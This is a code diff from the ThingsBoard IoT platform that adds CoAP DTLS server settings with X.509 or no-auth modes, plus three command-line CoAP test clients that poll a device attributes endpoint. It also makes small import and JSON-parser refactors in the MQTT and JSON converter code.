27 | +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; | ||
28 | +import org.springframework.stereotype.Component; | ||
29 | +import org.thingsboard.server.common.transport.TransportService; | ||
30 | +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider; | ||
31 | + | ||
32 | +import java.io.IOException; | ||
33 | +import java.net.InetAddress; | ||
34 | +import java.net.InetSocketAddress; | ||
35 | +import java.net.UnknownHostException; | ||
36 | +import java.security.GeneralSecurityException; | ||
37 | +import java.security.cert.Certificate; | ||
38 | +import java.util.Collections; | ||
39 | +import java.util.Optional; | ||
40 | + | ||
41 | +@Slf4j | ||
42 | +@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false) | ||
43 | +@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')") | ||
44 | +@Component | ||
45 | +public class TbCoapDtlsSettings { | ||
46 | + | ||
47 | + @Value("${transport.coap.bind_address}") | ||
48 | + private String host; | ||
49 | + | ||
50 | + @Value("${transport.coap.bind_port}") | ||
51 | + private Integer port; | ||
52 | + | ||
53 | + @Value("${transport.coap.dtls.mode}") | ||
54 | + private String mode; | ||
55 | + | ||
56 | + @Value("${transport.coap.dtls.key_store}") | ||
57 | + private String keyStoreFile; | ||
58 | + | ||
59 | + @Value("${transport.coap.dtls.key_store_password}") | ||
60 | + private String keyStorePassword; | ||
61 | + | ||
62 | + @Value("${transport.coap.dtls.key_password}") | ||
63 | + private String keyPassword; | ||
64 | + | ||
65 | + @Value("${transport.coap.dtls.key_alias}") | ||
66 | + private String keyAlias; | ||
67 | + | ||
68 | + @Value("${transport.coap.dtls.skip_validity_check_for_client_cert}") | ||
69 | + private boolean skipValidityCheckForClientCert; | ||
70 | + | ||
71 | + @Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}") | ||
72 | + private long dtlsSessionInactivityTimeout; | ||
73 | + | ||
74 | + @Value("${transport.coap.dtls.x509.dtls_session_report_timeout}") | ||
75 | + private long dtlsSessionReportTimeout; | ||
76 | + | ||
77 | + @Autowired | ||
78 | + private TransportService transportService; | ||
79 | + | ||
80 | + @Autowired | ||
81 | + private TbServiceInfoProvider serviceInfoProvider; | ||
82 | + | ||
83 | + public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException { | ||
84 | + Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode); | ||
85 | + if (securityModeOpt.isEmpty()) { | ||
86 | + log.warn("Incorrect configuration of securityMode {}", mode); | ||
87 | + throw new RuntimeException("Failed to parse mode property: " + mode + "!"); | ||
88 | + } else { | ||
89 | + DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder(); | ||
90 | + configBuilder.setAddress(getInetSocketAddress()); | ||
91 | + String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath(); | ||
92 | + SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath); | ||
93 | + SecurityMode securityMode = securityModeOpt.get(); | ||
94 | + if (securityMode.equals(SecurityMode.NO_AUTH)) { | ||
95 | + configBuilder.setClientAuthenticationRequired(false); | ||
96 | + configBuilder.setServerOnly(true); | ||
97 | + } else { | ||
98 | + configBuilder.setAdvancedCertificateVerifier( | ||
99 | + new TbCoapDtlsCertificateVerifier( | ||
100 | + transportService, | ||
101 | + serviceInfoProvider, | ||
102 | + dtlsSessionInactivityTimeout, | ||
103 | + dtlsSessionReportTimeout, | ||
104 | + skipValidityCheckForClientCert | ||
105 | + ) | ||
106 | + ); | ||
107 | + } | ||
108 | + configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), | ||
109 | + Collections.singletonList(CertificateType.X_509)); | ||
110 | + return configBuilder.build(); | ||
111 | + } | ||
112 | + } | ||
113 | + | ||
114 | + private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) { | ||
115 | + try { | ||
116 | + return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(), | ||
117 | + keyPassword.toCharArray()); | ||
118 | + } catch (GeneralSecurityException | IOException e) { | ||
119 | + throw new RuntimeException("Failed to load serverCredentials due to: ", e); | ||
120 | + } | ||
121 | + } | ||
122 | + | ||
123 | + private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) { | ||
124 | + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); | ||
125 | + try { | ||
126 | + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( | ||
127 | + keyStoreFilePath, keyAlias, | ||
128 | + keyStorePassword.toCharArray()); | ||
129 | + trustBuilder.setTrustedCertificates(trustedCertificates); | ||
130 | + if (trustBuilder.hasTrusts()) { | ||
131 | + config.setAdvancedCertificateVerifier(trustBuilder.build()); | ||
132 | + } | ||
133 | + } catch (GeneralSecurityException | IOException e) { | ||
134 | + throw new RuntimeException("Failed to load trusted certificates due to: ", e); | ||
135 | + } | ||
136 | + } | ||
137 | + | ||
138 | + private InetSocketAddress getInetSocketAddress() throws UnknownHostException { | ||
139 | + InetAddress addr = InetAddress.getByName(host); | ||
140 | + return new InetSocketAddress(addr, port); | ||
141 | + } | ||
142 | + | ||
143 | + private enum SecurityMode { | ||
144 | + X509, | ||
145 | + NO_AUTH; | ||
146 | + | ||
147 | + static Optional<SecurityMode> parse(String name) { | ||
148 | + SecurityMode mode = null; | ||
149 | + if (name != null) { | ||
150 | + for (SecurityMode securityMode : SecurityMode.values()) { | ||
151 | + if (securityMode.name().equalsIgnoreCase(name)) { | ||
152 | + mode = securityMode; | ||
153 | + break; | ||
154 | + } | ||
155 | + } | ||
156 | + } | ||
157 | + return Optional.ofNullable(mode); | ||
158 | + } | ||
159 | + | ||
160 | + } | ||
161 | + | ||
162 | +} |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/NoSecClient.java
0 → 100644
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.transport.coap.client; | ||
17 | + | ||
18 | +import org.eclipse.californium.core.CoapClient; | ||
19 | +import org.eclipse.californium.core.CoapResponse; | ||
20 | +import org.eclipse.californium.core.Utils; | ||
21 | +import org.eclipse.californium.elements.DtlsEndpointContext; | ||
22 | +import org.eclipse.californium.elements.EndpointContext; | ||
23 | +import org.eclipse.californium.elements.exception.ConnectorException; | ||
24 | + | ||
25 | +import java.io.IOException; | ||
26 | +import java.net.URI; | ||
27 | +import java.net.URISyntaxException; | ||
28 | +import java.security.Principal; | ||
29 | +import java.util.concurrent.ExecutorService; | ||
30 | +import java.util.concurrent.Executors; | ||
31 | + | ||
32 | +public class NoSecClient { | ||
33 | + | ||
34 | + private ExecutorService executor = Executors.newFixedThreadPool(1); | ||
35 | + private CoapClient coapClient; | ||
36 | + | ||
37 | + public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { | ||
38 | + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); | ||
39 | + this.coapClient = new CoapClient(uri); | ||
40 | + } | ||
41 | + | ||
42 | + public void test() { | ||
43 | + executor.submit(() -> { | ||
44 | + try { | ||
45 | + while (!Thread.interrupted()) { | ||
46 | + CoapResponse response = null; | ||
47 | + try { | ||
48 | + response = coapClient.get(); | ||
49 | + } catch (ConnectorException | IOException e) { | ||
50 | + System.err.println("Error occurred while sending request: " + e); | ||
51 | + System.exit(-1); | ||
52 | + } | ||
53 | + if (response != null) { | ||
54 | + | ||
55 | + System.out.println(response.getCode() + " - " + response.getCode().name()); | ||
56 | + System.out.println(response.getOptions()); | ||
57 | + System.out.println(response.getResponseText()); | ||
58 | + System.out.println(); | ||
59 | + System.out.println("ADVANCED:"); | ||
60 | + EndpointContext context = response.advanced().getSourceContext(); | ||
61 | + Principal identity = context.getPeerIdentity(); | ||
62 | + if (identity != null) { | ||
63 | + System.out.println(context.getPeerIdentity()); | ||
64 | + } else { | ||
65 | + System.out.println("anonymous"); | ||
66 | + } | ||
67 | + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); | ||
68 | + System.out.println(Utils.prettyPrint(response)); | ||
69 | + } else { | ||
70 | + System.out.println("No response received."); | ||
71 | + } | ||
72 | + Thread.sleep(5000); | ||
73 | + } | ||
74 | + } catch (Exception e) { | ||
75 | + System.out.println("Error occurred while sending COAP requests."); | ||
76 | + } | ||
77 | + }); | ||
78 | + } | ||
79 | + | ||
80 | + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { | ||
81 | + return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; | ||
82 | + } | ||
83 | + | ||
84 | + public static void main(String[] args) throws URISyntaxException { | ||
85 | + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " + | ||
86 | + "host port accessToken clientKeys sharedKeys"); | ||
87 | + | ||
88 | + String host = args[0]; | ||
89 | + int port = Integer.parseInt(args[1]); | ||
90 | + String accessToken = args[2]; | ||
91 | + String clientKeys = args[3]; | ||
92 | + String sharedKeys = args[4]; | ||
93 | + | ||
94 | + NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys); | ||
95 | + client.test(); | ||
96 | + } | ||
97 | +} |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.transport.coap.client; | ||
17 | + | ||
18 | +import org.eclipse.californium.core.CoapClient; | ||
19 | +import org.eclipse.californium.core.CoapResponse; | ||
20 | +import org.eclipse.californium.core.Utils; | ||
21 | +import org.eclipse.californium.core.network.CoapEndpoint; | ||
22 | +import org.eclipse.californium.elements.DtlsEndpointContext; | ||
23 | +import org.eclipse.californium.elements.EndpointContext; | ||
24 | +import org.eclipse.californium.elements.exception.ConnectorException; | ||
25 | +import org.eclipse.californium.elements.util.SslContextUtil; | ||
26 | +import org.eclipse.californium.scandium.DTLSConnector; | ||
27 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | ||
28 | +import org.eclipse.californium.scandium.dtls.CertificateType; | ||
29 | +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; | ||
30 | + | ||
31 | +import java.io.IOException; | ||
32 | +import java.net.URI; | ||
33 | +import java.net.URISyntaxException; | ||
34 | +import java.security.GeneralSecurityException; | ||
35 | +import java.security.Principal; | ||
36 | +import java.security.cert.Certificate; | ||
37 | +import java.util.Collections; | ||
38 | +import java.util.concurrent.ExecutorService; | ||
39 | +import java.util.concurrent.Executors; | ||
40 | + | ||
41 | +public class SecureClientNoAuth { | ||
42 | + | ||
43 | + private final DTLSConnector dtlsConnector; | ||
44 | + private ExecutorService executor = Executors.newFixedThreadPool(1); | ||
45 | + private CoapClient coapClient; | ||
46 | + | ||
47 | + public SecureClientNoAuth(DTLSConnector dtlsConnector, String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { | ||
48 | + this.dtlsConnector = dtlsConnector; | ||
49 | + this.coapClient = getCoapClient(host, port, accessToken, clientKeys, sharedKeys); | ||
50 | + } | ||
51 | + | ||
52 | + public void test() { | ||
53 | + executor.submit(() -> { | ||
54 | + try { | ||
55 | + while (!Thread.interrupted()) { | ||
56 | + CoapResponse response = null; | ||
57 | + try { | ||
58 | + response = coapClient.get(); | ||
59 | + } catch (ConnectorException | IOException e) { | ||
60 | + System.err.println("Error occurred while sending request: " + e); | ||
61 | + System.exit(-1); | ||
62 | + } | ||
63 | + if (response != null) { | ||
64 | + | ||
65 | + System.out.println(response.getCode() + " - " + response.getCode().name()); | ||
66 | + System.out.println(response.getOptions()); | ||
67 | + System.out.println(response.getResponseText()); | ||
68 | + System.out.println(); | ||
69 | + System.out.println("ADVANCED:"); | ||
70 | + EndpointContext context = response.advanced().getSourceContext(); | ||
71 | + Principal identity = context.getPeerIdentity(); | ||
72 | + if (identity != null) { | ||
73 | + System.out.println(context.getPeerIdentity()); | ||
74 | + } else { | ||
75 | + System.out.println("anonymous"); | ||
76 | + } | ||
77 | + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); | ||
78 | + System.out.println(Utils.prettyPrint(response)); | ||
79 | + } else { | ||
80 | + System.out.println("No response received."); | ||
81 | + } | ||
82 | + Thread.sleep(5000); | ||
83 | + } | ||
84 | + } catch (Exception e) { | ||
85 | + System.out.println("Error occurred while sending COAP requests."); | ||
86 | + } | ||
87 | + }); | ||
88 | + } | ||
89 | + | ||
90 | + private CoapClient getCoapClient(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException { | ||
91 | + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys)); | ||
92 | + CoapClient client = new CoapClient(uri); | ||
93 | + CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); | ||
94 | + builder.setConnector(dtlsConnector); | ||
95 | + | ||
96 | + client.setEndpoint(builder.build()); | ||
97 | + return client; | ||
98 | + } | ||
99 | + | ||
100 | + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) { | ||
101 | + return "coaps://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; | ||
102 | + } | ||
103 | + | ||
104 | + public static void main(String[] args) throws URISyntaxException { | ||
105 | + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientNoAuth " + | ||
106 | + "host port accessToken keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); | ||
107 | + | ||
108 | + String host = args[0]; | ||
109 | + int port = Integer.parseInt(args[1]); | ||
110 | + String accessToken = args[2]; | ||
111 | + String clientKeys = args[7]; | ||
112 | + String sharedKeys = args[8]; | ||
113 | + | ||
114 | + String keyStoreUriPath = args[3]; | ||
115 | + String keyStoreAlias = args[4]; | ||
116 | + String trustedAliasPattern = args[5]; | ||
117 | + String keyStorePassword = args[6]; | ||
118 | + | ||
119 | + | ||
120 | + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); | ||
121 | + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); | ||
122 | + DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); | ||
123 | + SecureClientNoAuth client = new SecureClientNoAuth(dtlsConnector, host, port, accessToken, clientKeys, sharedKeys); | ||
124 | + client.test(); | ||
125 | + } | ||
126 | + | ||
127 | + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { | ||
128 | + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); | ||
129 | + try { | ||
130 | + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( | ||
131 | + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); | ||
132 | + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( | ||
133 | + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); | ||
134 | + trustBuilder.setTrustedCertificates(trustedCertificates); | ||
135 | + config.setAdvancedCertificateVerifier(trustBuilder.build()); | ||
136 | + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); | ||
137 | + } catch (GeneralSecurityException e) { | ||
138 | + System.err.println("certificates are invalid!"); | ||
139 | + throw new IllegalArgumentException(e.getMessage()); | ||
140 | + } catch (IOException e) { | ||
141 | + System.err.println("certificates are missing!"); | ||
142 | + throw new IllegalArgumentException(e.getMessage()); | ||
143 | + } | ||
144 | + } | ||
145 | +} |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.transport.coap.client; | ||
17 | + | ||
18 | +import org.eclipse.californium.core.CoapClient; | ||
19 | +import org.eclipse.californium.core.CoapResponse; | ||
20 | +import org.eclipse.californium.core.Utils; | ||
21 | +import org.eclipse.californium.core.network.CoapEndpoint; | ||
22 | +import org.eclipse.californium.elements.DtlsEndpointContext; | ||
23 | +import org.eclipse.californium.elements.EndpointContext; | ||
24 | +import org.eclipse.californium.elements.exception.ConnectorException; | ||
25 | +import org.eclipse.californium.elements.util.SslContextUtil; | ||
26 | +import org.eclipse.californium.scandium.DTLSConnector; | ||
27 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | ||
28 | +import org.eclipse.californium.scandium.dtls.CertificateType; | ||
29 | +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier; | ||
30 | + | ||
31 | +import java.io.IOException; | ||
32 | +import java.net.URI; | ||
33 | +import java.net.URISyntaxException; | ||
34 | +import java.security.GeneralSecurityException; | ||
35 | +import java.security.Principal; | ||
36 | +import java.security.cert.Certificate; | ||
37 | +import java.util.Collections; | ||
38 | +import java.util.concurrent.ExecutorService; | ||
39 | +import java.util.concurrent.Executors; | ||
40 | + | ||
41 | +public class SecureClientX509 { | ||
42 | + | ||
43 | + private final DTLSConnector dtlsConnector; | ||
44 | + private ExecutorService executor = Executors.newFixedThreadPool(1); | ||
45 | + private CoapClient coapClient; | ||
46 | + | ||
47 | + public SecureClientX509(DTLSConnector dtlsConnector, String host, int port, String clientKeys, String sharedKeys) throws URISyntaxException { | ||
48 | + this.dtlsConnector = dtlsConnector; | ||
49 | + this.coapClient = getCoapClient(host, port, clientKeys, sharedKeys); | ||
50 | + } | ||
51 | + | ||
52 | + public void test() { | ||
53 | + executor.submit(() -> { | ||
54 | + try { | ||
55 | + while (!Thread.interrupted()) { | ||
56 | + CoapResponse response = null; | ||
57 | + try { | ||
58 | + response = coapClient.get(); | ||
59 | + } catch (ConnectorException | IOException e) { | ||
60 | + System.err.println("Error occurred while sending request: " + e); | ||
61 | + System.exit(-1); | ||
62 | + } | ||
63 | + if (response != null) { | ||
64 | + | ||
65 | + System.out.println(response.getCode() + " - " + response.getCode().name()); | ||
66 | + System.out.println(response.getOptions()); | ||
67 | + System.out.println(response.getResponseText()); | ||
68 | + System.out.println(); | ||
69 | + System.out.println("ADVANCED:"); | ||
70 | + EndpointContext context = response.advanced().getSourceContext(); | ||
71 | + Principal identity = context.getPeerIdentity(); | ||
72 | + if (identity != null) { | ||
73 | + System.out.println(context.getPeerIdentity()); | ||
74 | + } else { | ||
75 | + System.out.println("anonymous"); | ||
76 | + } | ||
77 | + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); | ||
78 | + System.out.println(Utils.prettyPrint(response)); | ||
79 | + } else { | ||
80 | + System.out.println("No response received."); | ||
81 | + } | ||
82 | + Thread.sleep(5000); | ||
83 | + } | ||
84 | + } catch (Exception e) { | ||
85 | + System.out.println("Error occurred while sending COAP requests."); | ||
86 | + } | ||
87 | + }); | ||
88 | + } | ||
89 | + | ||
90 | + private CoapClient getCoapClient(String host, Integer port, String clientKeys, String sharedKeys) throws URISyntaxException { | ||
91 | + URI uri = new URI(getFutureUrl(host, port, clientKeys, sharedKeys)); | ||
92 | + CoapClient client = new CoapClient(uri); | ||
93 | + CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); | ||
94 | + builder.setConnector(dtlsConnector); | ||
95 | + | ||
96 | + client.setEndpoint(builder.build()); | ||
97 | + return client; | ||
98 | + } | ||
99 | + | ||
100 | + private String getFutureUrl(String host, Integer port, String clientKeys, String sharedKeys) { | ||
101 | + return "coaps://" + host + ":" + port + "/api/v1/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; | ||
102 | + } | ||
103 | + | ||
104 | + public static void main(String[] args) throws URISyntaxException { | ||
105 | + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientX509 " + | ||
106 | + "host port keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); | ||
107 | + | ||
108 | + String host = args[0]; | ||
109 | + int port = Integer.parseInt(args[1]); | ||
110 | + String clientKeys = args[6]; | ||
111 | + String sharedKeys = args[7]; | ||
112 | + | ||
113 | + String keyStoreUriPath = args[2]; | ||
114 | + String keyStoreAlias = args[3]; | ||
115 | + String trustedAliasPattern = args[4]; | ||
116 | + String keyStorePassword = args[5]; | ||
117 | + | ||
118 | + | ||
119 | + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); | ||
120 | + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); | ||
121 | + DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); | ||
122 | + SecureClientX509 client = new SecureClientX509(dtlsConnector, host, port, clientKeys, sharedKeys); | ||
123 | + client.test(); | ||
124 | + } | ||
125 | + | ||
126 | + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { | ||
127 | + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); | ||
128 | + try { | ||
129 | + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( | ||
130 | + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); | ||
131 | + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( | ||
132 | + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); | ||
133 | + trustBuilder.setTrustedCertificates(trustedCertificates); | ||
134 | + config.setAdvancedCertificateVerifier(trustBuilder.build()); | ||
135 | + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); | ||
136 | + } catch (GeneralSecurityException e) { | ||
137 | + System.err.println("certificates are invalid!"); | ||
138 | + throw new IllegalArgumentException(e.getMessage()); | ||
139 | + } catch (IOException e) { | ||
140 | + System.err.println("certificates are missing!"); | ||
141 | + throw new IllegalArgumentException(e.getMessage()); | ||
142 | + } | ||
143 | + } | ||
144 | +} |
@@ -30,7 +30,7 @@ import org.thingsboard.server.common.transport.TransportService; | @@ -30,7 +30,7 @@ import org.thingsboard.server.common.transport.TransportService; | ||
30 | import org.thingsboard.server.common.transport.TransportServiceCallback; | 30 | import org.thingsboard.server.common.transport.TransportServiceCallback; |
31 | import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; | 31 | import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; |
32 | import org.thingsboard.server.gen.transport.TransportProtos; | 32 | import org.thingsboard.server.gen.transport.TransportProtos; |
33 | -import org.thingsboard.server.transport.mqtt.util.SslUtil; | 33 | +import org.thingsboard.server.common.transport.util.SslUtil; |
34 | 34 | ||
35 | import javax.net.ssl.KeyManager; | 35 | import javax.net.ssl.KeyManager; |
36 | import javax.net.ssl.KeyManagerFactory; | 36 | import javax.net.ssl.KeyManagerFactory; |
@@ -41,7 +41,6 @@ import javax.net.ssl.TrustManagerFactory; | @@ -41,7 +41,6 @@ import javax.net.ssl.TrustManagerFactory; | ||
41 | import javax.net.ssl.X509TrustManager; | 41 | import javax.net.ssl.X509TrustManager; |
42 | import java.io.File; | 42 | import java.io.File; |
43 | import java.io.FileInputStream; | 43 | import java.io.FileInputStream; |
44 | -import java.io.IOException; | ||
45 | import java.io.InputStream; | 44 | import java.io.InputStream; |
46 | import java.net.URL; | 45 | import java.net.URL; |
47 | import java.security.KeyStore; | 46 | import java.security.KeyStore; |
@@ -66,7 +66,7 @@ import org.thingsboard.server.transport.mqtt.adaptors.MqttTransportAdaptor; | @@ -66,7 +66,7 @@ import org.thingsboard.server.transport.mqtt.adaptors.MqttTransportAdaptor; | ||
66 | import org.thingsboard.server.transport.mqtt.session.DeviceSessionCtx; | 66 | import org.thingsboard.server.transport.mqtt.session.DeviceSessionCtx; |
67 | import org.thingsboard.server.transport.mqtt.session.GatewaySessionHandler; | 67 | import org.thingsboard.server.transport.mqtt.session.GatewaySessionHandler; |
68 | import org.thingsboard.server.transport.mqtt.session.MqttTopicMatcher; | 68 | import org.thingsboard.server.transport.mqtt.session.MqttTopicMatcher; |
69 | -import org.thingsboard.server.transport.mqtt.util.SslUtil; | 69 | +import org.thingsboard.server.common.transport.util.SslUtil; |
70 | 70 | ||
71 | import javax.net.ssl.SSLPeerUnverifiedException; | 71 | import javax.net.ssl.SSLPeerUnverifiedException; |
72 | import java.security.cert.Certificate; | 72 | import java.security.cert.Certificate; |
@@ -146,7 +146,7 @@ public class ProtoMqttAdaptor implements MqttTransportAdaptor { | @@ -146,7 +146,7 @@ public class ProtoMqttAdaptor implements MqttTransportAdaptor { | ||
146 | 146 | ||
147 | @Override | 147 | @Override |
148 | public Optional<MqttMessage> convertToPublish(MqttDeviceAwareSessionContext ctx, TransportProtos.ToDeviceRpcRequestMsg rpcRequest) { | 148 | public Optional<MqttMessage> convertToPublish(MqttDeviceAwareSessionContext ctx, TransportProtos.ToDeviceRpcRequestMsg rpcRequest) { |
149 | - return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), rpcRequest.toByteArray())); | 149 | + return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), ProtoConverter.convertToRpcRequest(rpcRequest))); |
150 | } | 150 | } |
151 | 151 | ||
152 | @Override | 152 | @Override |
@@ -107,7 +107,7 @@ public class JsonConverter { | @@ -107,7 +107,7 @@ public class JsonConverter { | ||
107 | public static ClaimDeviceMsg convertToClaimDeviceProto(DeviceId deviceId, String json) { | 107 | public static ClaimDeviceMsg convertToClaimDeviceProto(DeviceId deviceId, String json) { |
108 | long durationMs = 0L; | 108 | long durationMs = 0L; |
109 | if (json != null && !json.isEmpty()) { | 109 | if (json != null && !json.isEmpty()) { |
110 | - return convertToClaimDeviceProto(deviceId, new JsonParser().parse(json)); | 110 | + return convertToClaimDeviceProto(deviceId, JSON_PARSER.parse(json)); |
111 | } | 111 | } |
112 | return buildClaimDeviceMsg(deviceId, DataConstants.DEFAULT_SECRET_KEY, durationMs); | 112 | return buildClaimDeviceMsg(deviceId, DataConstants.DEFAULT_SECRET_KEY, durationMs); |
113 | } | 113 | } |
@@ -156,7 +156,7 @@ public class JsonConverter { | @@ -156,7 +156,7 @@ public class JsonConverter { | ||
156 | result.addProperty("id", msg.getRequestId()); | 156 | result.addProperty("id", msg.getRequestId()); |
157 | } | 157 | } |
158 | result.addProperty("method", msg.getMethodName()); | 158 | result.addProperty("method", msg.getMethodName()); |
159 | - result.add("params", new JsonParser().parse(msg.getParams())); | 159 | + result.add("params", JSON_PARSER.parse(msg.getParams())); |
160 | return result; | 160 | return result; |
161 | } | 161 | } |
162 | 162 | ||
@@ -405,7 +405,7 @@ public class JsonConverter { | @@ -405,7 +405,7 @@ public class JsonConverter { | ||
405 | 405 | ||
406 | public static JsonElement toJson(TransportProtos.ToServerRpcResponseMsg msg) { | 406 | public static JsonElement toJson(TransportProtos.ToServerRpcResponseMsg msg) { |
407 | if (StringUtils.isEmpty(msg.getError())) { | 407 | if (StringUtils.isEmpty(msg.getError())) { |
408 | - return new JsonParser().parse(msg.getPayload()); | 408 | + return JSON_PARSER.parse(msg.getPayload()); |
409 | } else { | 409 | } else { |
410 | JsonObject errorMsg = new JsonObject(); | 410 | JsonObject errorMsg = new JsonObject(); |
411 | errorMsg.addProperty("error", msg.getError()); | 411 | errorMsg.addProperty("error", msg.getError()); |
@@ -563,7 +563,7 @@ public class JsonConverter { | @@ -563,7 +563,7 @@ public class JsonConverter { | ||
563 | } | 563 | } |
564 | 564 | ||
565 | public static TransportProtos.ProvisionDeviceRequestMsg convertToProvisionRequestMsg(String json) { | 565 | public static TransportProtos.ProvisionDeviceRequestMsg convertToProvisionRequestMsg(String json) { |
